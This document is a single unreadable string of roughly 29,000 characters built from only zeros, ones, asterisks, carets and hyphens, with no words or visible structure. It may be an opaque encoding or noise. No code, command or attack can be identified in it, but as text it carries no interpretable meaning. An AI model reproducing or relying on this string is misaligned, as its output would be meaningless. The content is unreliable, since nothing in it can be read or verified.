*001^1*-01*0101*001101*--------0^1101*-*11*001^1*^1101********011010-*00^1*^1********00101011*00^-*001*1*01^1*11****001**00--*01011********11011**********1101*********110101********11011*********^-1********00-0101********0-001********00-001*******************10^1*********101011********01101*0101*^11*001*1*********0-001*0-*101*01^1*001*******010101010--0^1*01^1*001*******-1*10--*01*01^1*001****01**001**0--0-*001^1*001****01*****0--001101*01^1*********1***-001*1***001**010101101*****01**01*1****01***1^1^1***00--------1***0-*01*001^1*10-*01010^1*******001010101*10-0-*00--------01^-*-00^110101*^^-*-11**1*01*1*1*^1********^^11*001*001*01*1*--------11*1*00-*01*001^1**11**********1*0010-0010-01*011**1*0--------1^11*00-*01*001^1*0-1*0011**01101*01*0101**011*00101101010^^101**101**011010-01*011*00---------*1*0-*01*001^1*^1101******0101101**1**1*010^1*********0-1*00^-*001*1*1101*00101****1**0011*00-1011011011******00-**11*-**11011******011**0011*101**--------0-011*0-*01*001^1*^1101******^11**0-*001*010^1********101*01*001*11*001*1*1101**101*--------1^-1*-00^11*--------1101*1*-*01*001^1*00-**********1*********01**0101*101*01^11*00^110^101*0-11*1*0110101**01*00--------00^101*-*01*001^1*^1101*******0-^101**0^1^^1********-01101*00^101*001*1*0101*001101*--------110-01*-*01*001^1*01101*01^1*11****001**110-11*01011********001*1********001*001**********11********0110^1********10^1*********01*1*********1*1*******************1101101********0^-01********0101*1********0-**********11*0101*1*1*001*1*********101*1*0-*001*01^1*001****01**0-010^--0-*001^1*001*******010101010--0011*001^1*001*******-1*10--0101*001^1*001****01**0^110^--001101*01^1*********1***-001*1***001***101101*****01**0-001****1***1^1^1*-----10--1*11011*-00101*001^1*11011*01010^1*******0011**0010-0-*00--------10110-*-00110110^1011*1*^11*1*-11*011*001*1*-----10---00-1*-00101*001^1**11**********1*0--00^11010^1*01101101*011**1******001***1011**0^1011******001**0^1***1*011*******1***1011**1*101**011010-01*011*00--------01011**-00101*001^1*^1101********001010101*00^1*^-101010-11*-*001*1*1101*00101****1***^1*0010^11011******011**0011*101**--------*-*00-00101*001^1*^1101*****0010-0-*1101*001*010^110101010-11**1*01*1*1101*00101******001**1*10^11011******011**0011*101**--------0110101*0-00101*001^1*^1101*****001^1011011*11*001*010^110101010-11*^1*01*1*1101**101*--------11*-*-*1011*--------^10-*-00^1101*****0011010-*00101*001*010^10-1010-11**1*01*1*--------**01*-00101*001^1*10-**********11**********1*********001**101*101*01^11*00^110^11*10-11*1*011*1*0011**--------10-001*-00101*001^1*1*^1********-00-*00^-*001*1*0101*001101*--------0-0101*-00101*001^1*^1101********011*101*00^1*^1********001*01*001*11*001*1*01^1*11****001**010-11*01011********11011*********1^-********0^10-********-10101********-1101********011011*********001101********001*^1********^10-********01*-******************001*011*********11*0101*10101*001*1*********0^101*0-00^1*01^1*001*******010101010--*01*01^1*001*******-1*10--0-*001^1*001*******0-11010--0011*001^1*001****01**0-010^--001101*01^1*********1***-001*1***001**01^1101*****01***00101***001***1^1^1******0010101*001*01*1*------0--001011*0-001101*01^1*^1101********001^-*00^1*^1********00-101*001*011*01*1*------0-110--*0-001101*01^1*01011*--------00110-*-00^1101010^110-11*1*^1^^10-11*0011*01*1*------0--^^1*-001101*01^1*1^1*-11*********^1*0^-001**00--11011*0-11*^1*01*1*------0--1^101*-001101*01^1*01101*-11*^1*01^1*-01*--------0^-1*-*1101*-11*------0-11010-01*-001101*01^1*^1101******-1*^-11*00^1^^1*****01**00101^1*00^1011*01*1*********10101*^-001**00--101101*^1*01*1*------0--0011011*-001101*01^1*^11*^1*01^1*^11*1101*00101*******0-11*0101*1**--------01^-*-00^1101*****001^101**1**0^1^^1*****01**00^1**00^1011*01*1*------0-110--1*-001101*01^1*-01**********1*0^-001**00--1*11*^1*01*1*-----^--*01**-001101*01^1*10-*-11*^1*01^1*00-*0101******0011*011*101*001*011**0^1*--------^10-*-00^110^110-0-11*1*^1********0-0101*00^1*1*1*1*-----^--001011*00-001101*01^1*0-1**********1*0^-001**00---011*^1*01*1*-----^--011*1*0-001101*01^1*^1101*****00110110--*1*001*010^1*****01**0-1101**1*^1*1*1*^1*01^1*10-*001*001^1*1*******001*0^1011*1*01*-11*--------0^-1*-*1011*-11*-----^--0-011*0-001101*01^1*0-1*-11*********^1*0^-001**00--^-*^1*01*1*-----^--1**1*-001101*01^1*00-*^1*01^1*11011*110101******011**00101******1**001010-*001******1**01*0-*001**1*-11*01101**1**^^-11*-*00---------10-*-001*^1*01010-11*0011*01*1*-----^--00110101*-001101*01^1**11*-11*********^1*0^-001**00--101011*^1*01*1*-----^----01*-001101*01^1*-01*-11*^1*01^1*1101*0-11*-----^--001^11*-001101*01^1*10101*-11*110101******011**00101******01**0--**1******01**1010-**^^101^-*1011*001*1*01101*011*001*1*00-^-11*-*00--------^10-*-00^1101*****001^11*1010-*001*010^101*010-11*0-*01*1*-----^--0--1*-001101*01^1*^11010^-10-11*1*^101011*-11*0011*01*1*********-1*0^-001**00--10101*0-11*^1*01*1*-----110--*11**-001101*01^1*10-*^1*01^1*0011*0-11*-----110--00^1*00-001101*01^1*-1*0-11*-*001^1*110101******1011**0101******11**1****1******11**^-1**1*11*001*1*011*******10101**101*01^10-11*--10-11*--------00110-*-00^110^-0110-11*1*^-00-0-11*1*1*1*1*-----110--0110101*0-001101*01^1*01*^-11*********^1*0^-001**00---01*0-11*^1*01*1*-----110--0101011*0-001101*01^1*^1101*****0010-0-0^101*001*010^110101010-11*0-*01*1*^1*01^1*01011*0011*01*******001*0^1011*1*01*-11*--------0^-1*-*0101*-11*-----110--0-*1*-001101*01^1*-11*-11*********^1*0^-001**00--1^11*^1*01*1*-----110--1*0101*-001101*01^1*^1101******1^10101*01**^1^^1*****01***010101*00^1011*01*1*^1*01^1*0-1*110101******011**00101******11**01^11**1******11**1011011**1*1011*01101*001*001*1**-00-11*-*00--------0^-1*-*-*0-11*-----110--01101011*-001101*01^1*^11010-*10-11*1*^--^-11**01*1*1*********-1*0^-001**00--110-*^1*01*1*-----110---10-*-001101*01^1*1*0^-11*^1*01^1*0101*0-11*011*001^1*1*******001*0^1011*1*11010-01*^11010-01*^110^1011*101*001*1*--------00110-*-001*^1********10^101*001*011*01*1*-----10--1*11**-001101*01^1*^1101010101*-11*1*^1********11010-*001**1*1*1*********0^1*^-001**00--1^1*0-11*^1*01*1*-----10--1101011*00-001101*01^1*^1101********010110-*00^1*^1********01101011*00^-1*01*1*^1*01^1**11*0101*0110101******1010-*0101******1***010101*001******1**01*0011*001*101****1**0110-001^-001**--------10110-*-00110110^1011*1*^11*1^-11*-1*01*1*-----10---11011*0-001101*01^1*^1101********00101*1*00^1*^1*****01**00-0-*00^-1*01*1*********10101*^-001**00---101*^1*01*1*-----10--10-*1*-001101*01^1**00^-11*^1*01^1*1011*0-11*-----10---01^1*-001101*01^1*^110^1010110-11*1*^-101^-11*0011*01*1**1*01^1*011****011****001^-0011*00110101******1^^1*101******11***00-*001******11**011*01*001*1**110101******1^^1*101******11**10-001*001******11**110-11*001*1**^1*0-*001*1*110101******1*0101*101******11**-*1**1******11******01*1**--------^10-*-00^1101******101*^1***01*010^110-010-11*0-*01*1*-----10--11010-1*-001101*01^1*^110101^^110-^-11*1011*01*1*1^^110-^-11*1011*01*1*********0^1*^-001**00--^11*0-11*^1*01*1*--------0^1**-001101*01^1*0101*0-11*^1*01^1*^1*0-11*101*001^1*011********11**101******11***-**01******11**0101***1*1101*001*001*1*--------01^-*-00^110101*^10110-0-11*0011*01*1*1*^1********10-101*001*011*01*1*--------011*1*0-001101*01^1*00^^-11*********^1*0^-001**00--10-1*^1*01*1*--------^1101*0-001101*01^1*00-*-11*^1*01^1*01101*********0^11*********10^11*****001**00-******01**00110-********0-01011*****01**00-1011*****001**0--1*****011**1010101*****0011**-00-*****011**1*001*****0011**-11******01**0110-11*****001**11*011*****001**01^101*****011**0-1101*****001**^1^1*****01**0110-11*****011**-11011*****01**00101101*****001**00110^1*****01***0011******01**1*001*****001***1*11*****001**-0-******1**01^101******************001^101*****001**001*******011**1*001******1**101^1******1**00^-********0011******0011**00--*****011**0011*1*****011**0^1101*****011**010-1**********001********10^^101*101101*01*1*1101*01^1*1101*0-11*0^1*1^1*001*******010101010--01*1*1^1*001****01*****0--*001*1^1*001****01**001**0--0-1*01^1*001*******0-11010--00-*01^1*001*******-1*10--01011*01^1*001****01**0^110^--*11*01^1*001****01**0-010^--001101*01^1*********1***-001*1***001**00^1101******1**1101011***001**001^1^1****10101*001*0-----110--00-011*-00101*001^1*^11010-00110-11*1*^1*****01***^101*001*101*01*1*-----110--0-0-*-00101*001^1*00-*--------^10-*-00^110^1*^-11*1*^1*****01**0-101**01*101*01*1*-----10--1011**00-00101*001^1*^1101******-01*1*-*001*010^1*01010-11*011*001*1*********0^1*^-001**00--^-*^1*0-----10--11*01*00-00101*001^1*0^1*-11*1011*0-01*--------01^-*-00^1101*********1^11*00^1*^1*****01****-*00^-*001*1*-----10----1*00-00101*001^1*1*1*-11*********^1*0^-001**00--101101*^1*0-----10--11*101*0-00101*001^1*^1101*****0010-0^^1011*00^1^^1*****01**0110101**0^1101*01*1*1011*001011*0101**01101**^-11*011*00--------1^-1*-00^11*-----10---00-*0-00101*001^1*0-1**********1*0^-001**00--1^11*^1*0-----10--^1*01*-00101*001^1*^1101******0110^10^-*00^1^^1********01011011*00^1101*01*1*1011*011011*-----10---01^1*-00101*001^1*1011*0-11*0011*01*******001*0^1011*^101011*110^1010110-01*^110^1010110-01*-*00--------0^-1*-00-1*0-11*-----10--1^-01*-00101*001^1*^1101********0^^11*00^1*^1^^10-11*0101*01*1*********0^1*^-001**00--101011*^1*0-----10--^101011*-00101*001^1*11011*1011**011*0101***110-11*--------1^-1*-0011011*-----10---^-*-00101*001^1*^11010^10110-11*1*^1*01*-11*^1*01*1*********-1*0^-001**00---101*^1*0-----10-----*-00101*001^1*^1101*****00--0110110101*001*010^1*****01**01*0101*001*001*01*1*1011*0^11*1101*0011*********11*101******1***001**001******1**010101**001*11**1**--------0^-1*-**1*-11*---------101*00-00101*001^1*^110^1*^-11*1*^110110^-11*-*001*1*********-1*0^-001**00--1*11*^1*0---------*1*0-00101*001^1*10101*-11*1011**-*--------0^101*0-00101*001^1*10-*110101******-**00101*11*10-11*010-10-11*-**10101^1101**1*0010101^11**1**--------01^-*-00^1101********0-10101*00^1*^1*****01**01010-1*00^-*001*1*--------10-11*0-00101*001^1**11**********1*0^-001**00---011*^1*0--------0-*1*-00101*001^1*^1101*****00101^-1101**001*010^1^11*011*001*1*1011*001101*********0101101********0101^11**********11*****01****001*****01**01010-********001*101*****01**010-******01****001*****01**0011*********001^1*******************00-10-*****01**0^-******1***1011********00-^1*****001**0101*11********101^11********^-1*****001***00101********0-011******1**01^1101*****01**011010101********01101*101*10101*001*1*101*001^1*1101*0-11*1101*01^1*001****01**0^110^--00101*01^1*001****01**001**0--0^1*01^1*001****01**0-010^--*01*01^1*001*******010101010--0-*001^1*001*******0-11010--0011*001^1*001*******-1*10--001101*01^1*********1***-001*1***001**01*1101*****001**1101101****1**001^1^1*1*******0010101*********11*******00101*00-11******^1*0^11011********10^11*******************************001*****00^1***011********1*-*****00^1*0-^1********001********************00-*1*****00-*00-*11*****001**1011*1*****0101**10-*********1*********************010101*****0011***1**********0^1******1****11********01*********************10-******01**001^1*********0^1******1**001**********1********-1101*001******10101*0010^1*1*-----11010-^1*1*0-00--------0^11*00-*-00101^1*0-1*-10-11010^^1101011*010-11*1*^-^^-11*1*1^1*1*--------001*1*0-*-00101^1*1011*0-11*^1**110^1**00--1^11*^10^1*1*--------0010101*0-*-00101^1*0011*0-11*^10^1^1*-01*1010--0101*011*0-11*--------00^11*0-*-00101^1*^1101********010110101*00^1*^1*****01**0-01**00^-10^1*1*10101*00110^1**00--101101*^10^1*1***0-0101*-00101^1*^1101******-1*11*01**1*010^1*****01**0-*01*001*-0^1*1*^10^1^1**11*0101*00101****01**010^101^-*110-11010^^1101******1*101*11**001*010^1********0011*1*001*11*101*1*1101010-0101*-00101^1*00-*101**0110^1**00---101*^10^1*1*-0110-0101*-00101^1*01011*^10^1^1*^11*010101*11*********00-*01********1011011*******************1*011*******************0010^1********1*001********001^1*********101*********00101*********001*******************************0-1*1********0-*0101*^-00101*1*0-00101^1*-01****-101101^1********00^110-0-011*10^1^1*011*********001*0-10-011*10^1^1*011*********00^10-10-011*10^1^1*011*********001101**********01**********001********************001*********************01*********-*00101*1*1^101*1*001^101^1*-01*00-0110101******001^^-11011010^^1*1*^--10101*0011*0-00-10101*10^101^1*^1101*101^-11*1*^101011*1*1^1*1*1101**110^10^^1*1********************^1*********0^1*********0^1*********^11******************************0-*00101*^10^101*1*010^101^1*00-***^-10110101****01**101^10-10110-00^1*1*-**11*0010-00-0101*00^101^1*01101*-00^1^1*0101******0011011*-101^11****011**0011*1*101*^11*1*110101^11*1*1*001*******************0^1*01*01*1011*011****011**10-001*10^1101**-1*^^1101^1**1*0101*-01*0-1*011*****1**011*1*101*1^^1*1*001****001**011011*--001^^1^1*0101*******-0--1011*^^1*1*10^^1*1*********101^1*****************************************1*1*********1*1********0011*00101*1*0^101*1**^101^1**11*10^^1^1*0101****1**011*0101^-0011*****1*00-10101*101**0010-11*01101*00^^1*1**10^-11*11*^1*1*001****001**--*--*^^1^1*1*******001*0^1011*1**10-11*-----10--110^-*-00101*101^1*^1101********0^^11*00^1*^110-110-11**01^1*1*11*^1^1*0101****1**001011*-10110^101^-*1*1*01*1*01101**1*01*1*0101******0010---1011**^1*1*0101*******00---0110^11**00^1*1*011*****1*00^-01*10^-01**00^1*1*001****001**1*00^--00101******00110---01101*0^1*1**00^1*1*--------010101*00-00101*101^1*0-1*110101******0^101*0101******01**0^101**1******01**0-***1*1*^1*1**00^1*1*110101******011**00101******11**^1***1******11**01***001*0011*-11*01101*01*^1*1*01101*^1*01*1*--------00-01*0-00101*101^1*^1101*****001*10-0-011*001*010^1010-00-11*011*101*1*110101******011**00101********00101*11*001*********-0011*001*-1*01101*1*0^1*1**11*-11*^1*01*1*01*^1^1*1*******001*0^1011*1*11*-11*1*0^1^1*1*******001*0^1011*10-1**00^1^1*0101****1**001010^1^-010-00-010^101*101^1*1101101010-*1*^1*****01**0101***0^1*00101*1******01***0^11**1********1^1***1*11*001*1*-0110-010^101*101^1*1101101010-*1*^1********1^1011*00^1*00101*1******01**001*-**1******1^11011***00^-*001*1*********01011*********-00101********101*11********10-101********0011*1******************001010-*********110-********001011*******************00101*0101*10101*101*1*101*101^1*01101*00-0110101******001^^-11011*101*1*1*00110-11010^^110101*^1*01010-11*1*1^1*1*1*^1********11010101*00^1*1^1*1*001010-1010^11*0101^1*00-*101**01101*0101*1*1*********^11********************************1**********01********00^11*******************00-*00101*1011*0101*1*11*0101^1*01011******001**-1011010-011*****011**1010101010-011*10^1^1*011*******11**10-01010-011*10^1^1*011*00-----110--0011*1*-**00101^1**11*0101****01**101^10-101^1101*1*1*-**11**110--010^10-*-----110--*00101*-**00101^1*0-1**1**110^110101******11011**101******11**0110-1*001******11**00110-*00^-11*1*1*0-1*1*1*-----110--10-101*-**00101^1*00-*-11*1^1*110101******1101011*0101******11***001**01******11**011011**01*11****011**0011*1*101*^11*1*110101^110101*1*001*******************0-1*01*01*0-*011****011**10-001*10^1101**-1*^^1^^1**1*0101*11011*11011*-11*011****01**0110-11*101******1**011***001******1**01101011**1*0-*1*1*-----10--1^1**0-**00101^1*^1101*^^-11*1*^1********1^^1*00^1*1^1*1*0-1*1^1*110101******1101011*0101******1**0--01*001******1**0^10101*001*11****011**0011*1*101*^11*1*110101^-101*1*001*******************00101*01*0^10-*011****011**10-001*10^1101**-1*^^1*^1**1*0101*01011*^11*011****01**0110-11*101********001*0011*001********00^10101*00^10-*1*1*-----10--10-101*0-**00101^1*1101*0-11*110101******011**0010^--00-11*00101^-11*^101^-*110-*1*1*01101*10-*1*1**01*-11**01*1*1*10-*1^1*1*******001*0^1011*1**10-11*-----10--^1*01*-**00101^1*^1101********0-1^1*00^1*^1********001*01*00^1*1^1*1*00-*1^1*110101******1*1**101******01**101*1**1******01**1010101**1*1011*1*1*11011*1*1*11011*1^1*0101****1**01*00101^-0^11*1*1*-----10---101101*-**00101^1*-01*110101******011**00101******01**10101**001******01**0-1**001*^1*1*1*01101*01011*1*1*^110^^1*1*1*1*1*1*1**01*1*1*01011*1^1*1*******001*0^1011*1*11010-01*^11010-01*0^1*1*1*-----10---^-*-**00101^1*01101*^11*1^1*110101******1*1**101******11**^-1**1******11**^1011**^-01*1*1**11*1*1**11*1^1*0101****1**01*00101^-011**--------0011**0-**00101^1*1*^101101010-11*1*00101*1*110101******00^1*0010^^^10-11*-*10-11**01*-11*-01*1*1**01*1*1*-01*1^1*1*******001*0^1011*1*01*-11*0110--0101*1011*--------1^11*00-**00101^1*^1101******110-01*011**1*010^1********10-001*001*-0^1*1*10101*1^11********010-***1*11*001*1*--------1*101*0-**00101^1*11011*01101*1^1*110101******1101011*0101******11**-01**001******11**1****1*11****011**0011*1*101*^11*1*110101^11*1*1*001*******************01101*01*01*1011*011****011**10-001*10^1101**-1*^^1010^1**1*0101*00-*11011*011****01**0110-11*101******1**0-001**01******1**0-^1**^10101*1*1*10101*1^1*110101******1*1**101******1**0-0011**1******1**0-0-**^1^1*1*1*00101*1*1*******************0010110101*****01**0101101******1***010101*****01**0010^1**********11*****001**01^101*******************10^101*****001**00101******001**10^1******1***10-1*********0011******1**101101********001**1*****001**101011*********10-11********010^11********0^1*101*1**0101*1***101^1*0101*0-11*00101*1^1*0101****1**011*0101^-0-----10--^1101*00-*-1^1^1*01101*110101******011**00101*********0-001*001********00-0^1*00^^101^-*-001*1*1*01101*1^1*1*1*^110^^1*1*1*1*1*1*1**01*1*1*1^1*1^1*1*******001*0^1011*1*11010-01*^11010-01*0011*01*1*-----10--10-101*0-*-1^1^1*^11*0^1*1^1*^1101*11*01*1*^1101*001*-11*1*1*1*1*1*1*1^1*^101^-*1*01*1*1*-----10--10110-*0-*-1^1^1*1011*0-11**01*1^1*0101****1**001011*-10110^101^-*1*1*01*1*01101**1*01*1*110101******10-01*010^-01010-11*1^-0-11*1011*01*1*-----10--1*1^1*-*-1^1^1**11*110101******0-11*00101******11**^^1**1******11**-1101**^^11*1011*01*1*110101******11*01*0101******1**01101***1******1**0101011**0^-01*1011*01*1*-----10--^1*11*-*-1^1^1*^110101*^101101*1*1^1*1*1*^-00-0-11*1*1^1*1*110101******0^101*0101******11**-1***1******11**0^101**1*-*01*1*1011*01*1*110101******0^101*0101******1**01*-1*001******1**010110101*00^-1*01*1*1011*01*1*-----10---0-11*-*-1^1^1*^1101******0-0--11**01*010^1*****01**010101**001*-0^1*1*110101******011**00101******01**011011**01******01**10-1**01**0^-11*01101*-1*01*1*01101*^1*01*1*-1*01^1*1*******001*0^1011*1*00^-11*--------*011*00-*-1^1^1*0-1*110101******011**00101******1**01^1101*001******1***0-01*001**1*-11*01101*0-*01*1**00^-11*^1*01*1*0-*01^1*1*******001*0^1011*1*01*-11*--------^1101*0-*-1^1^1*0-*0-11*1011*01^1*0101****1**0^11*1^-*11*01^1*110110^-1*110101******1101**0101******1**00110^1*001******1**0-11011*001*101****1**001*0101^-01**-0101*-1^1^1*^1101*****00-0^-11011**^1^^1*****01***1101**01*^1^1*1*******1**1*01**01********10-***1*11*001*1*-1^-0101*-1^1^1*^1*0-11*******1**010101**01******1^11*001**00^-*001*1******0-*00^1011010-011*10^1^1*011**********************11*****001**011*01*****001**0^^1********01010-1********0-1101********01011*********^1*1****************1***01011*********01**********01******001**01101101*****001**01*01*********00-******1**01011*1*********01*101*^-1^1*1*0-1^1^1*10-*00-0110101******001^^-1101101101*01*1*00110-11010^^1101*****001^101*01***1*010^1*****001**-11**001*-0^1*1*-*-10101*0-^1^1*^1101********01^^1*00^1*^1********110-01*00^1*1^1*1*0^1*00110^1101*01*1*******************00101101*********1^1*********1^1****************************************00-*00101*1*-^1*1*00-^1^1*-01*********01^10110-0-001*01^1*011****001***11011*101*11*******011**0010^^11*-*001011010101*011*001**01********001^^1*001**0^-11*011****001**101010-^-0101*001*1*001*001*1*11**1101*01*1*********10^1****************************************0010^1********00101*00101*^10-001*1*010-001^1*^11*1101*01^1*0101****1**00-1^1^-*0010-10101*00-001^1*^11**********10101**1********1^1***1*11*001*1*********1*1*******************001*1*********1*1******************************0011*00101*1*0-001*1**-001^1*01011*00-0110101******001^^-1101^101*01*1*^--10101*1101*001010-10101*1101^1^1*^11*101**01101*101*01*1*****************************************0011**********11********************1^1*********-*00101*^1101^1*1*01101^1^1*01011******01**001*11010-0-001*01^1*011****001***11011*101*11*******011**0010^-01*-*001011010101*01101*1**01********001^1101*001**1^-11*011****001**101010-^-0101*001*1*001*001*1*11**0101*01*1**************************************************************0101*00101*1*101^1*1*00101^1^1*01101*0101*01^1*0101****1**001*0101^-0-----10---01011*0-0010110^1^1*11011*********1*^1**1********10-***1*11*001*1*^1*01^1*1*******001*0^1011*1*01^-11*-----10--1*1*1*-0010110^1^1*0101*0-11*110101******011**00101******11**1101101**1******11***0101**^^101^-*1*1*01*1*01101**1*01*1*^1**01*0-----10--1^10101*-0010110^1^1*^1101******^110-*01**^1^^1*****01***01101**1*^1^1*1**1*01^1*1*******001*0^1011*1*11010-01*^11010-01*^11010^1*0^101^-*1*1*01011**0110^1011*^1*0-----10--10^1011*-0010110^1^1*1*^-1*10-11*1*1^1*1*-*001^1*011********11**101******11**00110101*001******11**0-^1*00^^1**01*01011**0110^1011*^1*0-----10--11010-1*-0010110^1^1*^11*011*001^1*011********11**101******1**0^1101**1******1**01101011**^^1**01*01011**0110^1011*^1*0--------00101**-0010110^1^1*1*^1********-01101*001**1^1*1*101*001^1*011********11**10^1^1*-11*1*0^-11*^1**01*01011**01101*001*-11*^1*0--------101011*00-0010110^1^1*^1101*010110-11*1*^1*****01**010-1**0^-10^1*1*110101******011**00101******1**011011**001******1***001**001**1*-11*01101*001*001*1*01011**1**1*001^1*1*******001*0^1011*1*01*-11*1011*001011*0011*0011****001***-11*101*1**---------1011*0-0010110^1^1*^1101******0-1101011011**1*010^1********010-11*001*-0^1*1*1101*0110101******10101**101********00-11011*001********001011*1*00^110101******010-01*101******11**00101101*001******11**0010-1*001*00^10-11*0011*0-11*01**011*******10101**10^1^1010-11**00110-11*011****011**1*-*0101*-**^^1101010^10101**1*0011*******************00101*001*01*******************00110101*****001**010-1********001^-1*******************0101011****************1**00101101*****001***-**********01011********1*1101*********0^1******************001011*0101*1010110^1*1*10110^1^1*00-******00101**010^^-001**00--1*11*^10^1*1******00101*0-01101*-00^10^1^1*01101********************001**********01**********01**********01*********0101*00101*1011010^1*1*11010^1^1*01011*0^1^1^1*001****01**0^110^--01*1^1^1*001****01**0-010^--*001^1^1*001****01*****0--0-10^1^1*001****01**001**0--00-0^1^1*001*******010101010--01*00101^1*001*******0-11010--0011*101^1*001*******-1*10--001101*01^1*1**11010^1*1***001***001101*****01101*001011****001**001^11011*********010101*11*00-----10--101*01*0-001011*01011*0-11*-----10--1010^1*0-001011*0^1101*****001*0011010^1**1*010^1********10-011*001*001*01*1*---------00-*-00^1101********0010^11*00^1*^1********^10101*001*01*001*1*-----10--11*-*0-001011*0^1101*****00-01^1101*1*001*010^1********110^11*001*001*01*1*********00101*^-001**00--101011*-*00-----10--10-*1*-001011**001*-11*1101*0-01*--------*0-1*-001*^1*10^-11*-*001*1*-----10--101*101*-001011*0^1101*****001101*^^-*001*010^1*****01**01101011**1*001*01*1*********00101*^-001**00--101101*-*00-----10----101*-001011*001011*1101**011*-----10--1*^11*-001011*01101*0-11*0101*01*******001*0^1011*1*11010-01*^11010-01**11010^101^-*-**^101^-*101**---------00-*-00^1101********01101*1*00^1*^1**********11*001*01*001*1*-----10--^10-1*-001011*0^1101********001*001*00^1*^1********1*0011*00^-*001*1*********00101*^-001**00---101*-*00--------1*1**-001011*00101101*011*1*^-1*10-11*011*001*1*1101*001011*--------*001*00-001011*0^11*110101******011**00101*0010110-11*01*110-11*^101^-*-**^101^-*101**011**1101*11**--------1^-1*-*^1*-11*--------**1*0-001011*0^1101********00-0011*00^1*^1********10101101*00^101*001*1*********00101*^-001**00--1^11*-*00--------10-01*0-001011*0^1*0-11*1101*0^11*---------0011*0-001011*00-1*110101******011**00101******01**1*0-*001******01**11010-*00^^101^-*101**01101*011**1101*01**--------1^-1*-00^1*0-11*--------1101*1*-001011*010-*********-*00^-001**00--1*11*-*00--------1101^1*-001011*0^11010-11*-11*1*^1********^1*1*001*01*001*1*1101*001101*********10-001*****01***00101*****001****1********001010-*******************1^1******01****1*********1^-*****01***^11********01*101********0-*1********0010101********001010-********0101^11********-10-********0-*1*****01**001101******01***11011********01^1*********1^1*101*10^1*01011*00-*0-11**1*01^1*001*******010101010--0-*001^1*001****01*****0--0011*001^1*001****01**0-010^--0101*001^1*001****01**001**0--*1*001^1*001*******0-11010--001101*01^1*********1***-001*1***001**0-10101*****01**010110-***001**001^1^1************101101*1**101*010110^11**10-011***1*************01^1011**1*0110-01^11**010101***001********-*1**********001010^101*001*1**************************************************************0101*00101*^-1*1*1*0-1*1^1*-01*00-0110101******001^^-110110-*001*1*--------^10-*-00^11010^-00-11*1*^1*****01**00-0101*00^1*1*1*1*--------1*0011*-0011011*1^1*^1101*******01*101***1*010^1*****01**0011011**01*0-*1*1*********10101*^-00-*001*1*******************001^11*********01101******************************1^11*******************0-*00101*1011011*1*1*11011*1^1*00-*********0101101010-0-01*001^1*0101*******-0--10110^1*0-*001*1********************101********************0101********************101*00101*10^11*1*1*^11*1^1**11*-*001^1*0101****1**010-^1^-*1*001*1*01^1*11****001**0110-1*10^^1**1*001*1*********^1********************^1******************************00101*00101*10-01*1*1*-01*1^1*^11*00-0110101******001^^-1101^11*001*1*--------01010-*-001101101*011*1*^1*****01**00-011**^1*1*1*1*--------0-0011*-0010101*1^1*00-**********1*0^-*11*001*1*********0-1*********0-1*****************************************10^1*******************0-*00101*1010101*1*1*10101*1^1*^11*********001^1010-01^1*001^1*110101******1*1**101******11**001*01*001******11**0010^1*00^-**11*001*1****************************************************0101*********101*00101*101^1*1*1*1^1*1^1*01011*-----110--1*1**-001101*01^1*1101*0-11*********^1**0-00--------0^-1*-00-1*0-11*-----110--01^1*00-001101*01^1*10-**********1*0^-001**00--10-1*^1*01*1*-----110--*-*00-001101*01^1*1*^^101*-11*-1*01*1*^1*01^1*-01*--------0^-1*-*-*0-11*-----110--0-001*0-001101*01^1*^1*0-11*********^1*0^-001**00--101101*^1*01*1*-----110--1*011*0-001101*01^1*0101*0-11*^1*01^1**11*-----110--1011011*0-001101*01^1*-01*0101*0110101******-101*00101******01**^1***1******01**101*1**1*001*01*1*10-0010101****1**011*1*--001101**1*01*1**1*01^1*1*******0010^^1011*-101*110101******1*0101*101******1****11**1******1**0-001**0^11**--------^10-*-00^1101*****001010-010^101*001*010^1*01^-11*1011*01*1*-----110--*-01*-001101*01^1*01011*-11*********^1*0^-001**00---101*^1*01*1*-----110--110^11*-001101*01^1*^1101******--110110101*001*010^1**********01*00^1011*01*1*^1*01^1*01011*-----110--11*-*-001101*01^1*0011*0-11*0011*0110101*******-01*101******11**110-01*001******11**1^1011*001*11**11*******10101**101******11****11*001******11**1^-1*00^--------^10-*-00^1101*011*-11*1*^1*****01**01*101**^1*1*1*1*-----10--^-**-001101*01^1*^1101*****00-110^^101**^1^^1*****01**00^101**1*-*01*1*********10101*^-001**00--1^11*^1*01*1*-----10---0-*00-001101*01^1*1011*0-11*^1*01^1*0-1*011*001^1*0101****1**011*0101^-0--------00110-*-00^110^^1^-11*1*^1010-00-11**01*1*1*-----10---01101*0-001101*01^1*01011**********1*0^-001**00--110-*^1*01*1*-----10--11011011*0-001101*01^1*11011*^1*01^1*00-*110101******01101101*101******01**00-01**1******01**1*11**01*1101*^1**01*0--------1^-1*-0011011*-----10--1*0^1*-001101*01^1*0^1*-11*********^1*0^-001**00---011*^1*01*1*-----10---*101*-001101*01^1*-01*-11*^1*01^1*11011*-----10---110101*-001101*01^1*01101*-11*1011*01*******001*0^1011*1*11010-01*^11010-01**1101*011*^101^-*1*1*0--------0^-1*-00-01*-11*-----10--10-0011*-001101*01^1*^110101*^-010^-11*-1*01*1*1*^1********0110-1*00^-1*01*1*********10101*^-001**00--101011*^1*01*1*-----10--110110-*-001101*01^1*01101*^1*01^1*10-*00-00101101*^1101*011*^101^-*1^1*0^1*0--------^10-*-00^1101******-010-*101*00^1^^1*11010-11*0-*01*1*--------*01**-001101*01^1*^11*-11*********^1*0^-001**00--^-*^1*01*1*--------11*1*00-001101*01^1*10101*-11*^1*01^1*^11*---------101*00-001101*01^1*^1101*****00110^101****1*010^-0^10-11*1011*01*1*1101*0110101*******-01*101******11**101^11*001******11**10^101*001*1**011*******10101**101********0011011011*001*********0010-*00^--------0^-1*-0010101*-11*--------*1011*0-001101*01^1*00101*-11*********^1*0^-001**00--1*11*^1*01*1*--------110-1*0-001101*01^1*1*^1********-00101*001*011*01*1*^1*01^1*01101******01**010^-********1011*1********0-1011********01010-********0-1011********0101011*********1101******1**01**1*****01**011*******01**001*011********011*11*****001**1^-******1**1010101*****001**00^101*****001**001010101********0^1******001**001101******01**011*1****************001**0-011********00-1011*****01****1******1**0--*********-101******1**0-011******1***001**********0101********11011*101*101101*01*1*1101*01^1*0-1*1*1*1^1*001****01**001**0--*001*1^1*001****01**0-010^--0-1*01^1*001*******0-11010--00-*01^1*001****01**0^110^--01011*01^1*001*******-1*10--*11*01^1*001****01*****0--*-*1^1*001*******010101010--001101*01^1*********1***-001*1***001**00-0101******1*00101*01***11***1^11011*********010101*11****011**01011**101***00^1*^101^-*101**01**--------1*11*00-001011**011*--------*-*00-001011*0-01*-------